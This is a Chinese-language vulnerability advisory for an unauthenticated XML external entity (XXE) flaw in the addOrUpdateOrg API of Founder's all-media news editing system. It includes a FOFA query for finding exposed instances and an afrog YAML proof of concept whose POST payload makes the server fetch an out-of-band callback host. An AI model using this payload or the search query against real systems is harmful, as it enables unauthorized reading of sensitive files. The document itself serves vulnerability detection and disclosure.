方正畅享全媒体新闻采编系统addOrUpdateOrg存在XXE漏洞

漏洞信息

漏洞名称： 方正畅享全媒体新闻采编系统addOrUpdateOrg存在XXE漏洞

漏洞类型： XML实体注入

漏洞等级： 严重

漏洞描述： 方正畅享全媒体新闻采编系统是一款面向新闻出版行业的全媒体采编解决方案，广泛应用于新闻机构、出版社等媒体单位，支持新闻的采集、编辑、发布等全流程管理。该系统在企业和机构中部署广泛，是新闻内容生产的重要工具。该系统中的addOrUpdateOrg接口存在XML外部实体注入（XXE）漏洞，攻击者无需身份认证即可利用此漏洞。漏洞的根源在于系统在处理XML请求时，未对用户提交的XML数据进行严格的实体解析限制，导致攻击者可以构造恶意的XML数据，包含外部实体引用，从而读取系统内部敏感文件，如配置文件、密码文件等。此漏洞的存在使得攻击者能够获取系统敏感信息，严重威胁系统的安全性。由于漏洞利用无需认证，且可以远程执行，因此风险等级被评定为严重。攻击者可以利用此漏洞进行数据泄露，进一步可能导致系统被完全控制，对业务运营造成严重影响。

产品厂商： 方正

产品名称： 方正畅享全媒体新闻采编系统

搜索语法： app=”FOUNDER-全媒体采编系统”

来源： https://github.com/zan8in/afrog/blob/b9686a5c4553da942d9b8736d91cd87b6ee026b1/pocs%2Fafrog-pocs%2Fvulnerability%2Ffounder-add-or-update-org-xxe.yaml

类型： zan8in/afrog:github commit

POC详情

id: founder-add-or-update-org-xxe

info:
  name: 方正畅享全媒体新闻采编系统addOrUpdateOrg存在XXE漏洞
  author: zan8in
  severity: critical
  verified: false
  description: |-
    方正畅享全媒体新闻采编系统addOrUpdateOrg存在XXE漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。
    fofa: app="FOUNDER-全媒体采编系统"
  tags: xxe,方正,方正畅享全媒体采编系统
  created: 2025/03/10

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: POST
      path: /newsedit/api/orgUser/addOrUpdateOrg
      body: |
        xmlStr=%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%20remote%20SYSTEM%20%22{{oobHTTP}}%22%3E%20%25remote;%5D%3E
    expression: response.status == 200 && oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0()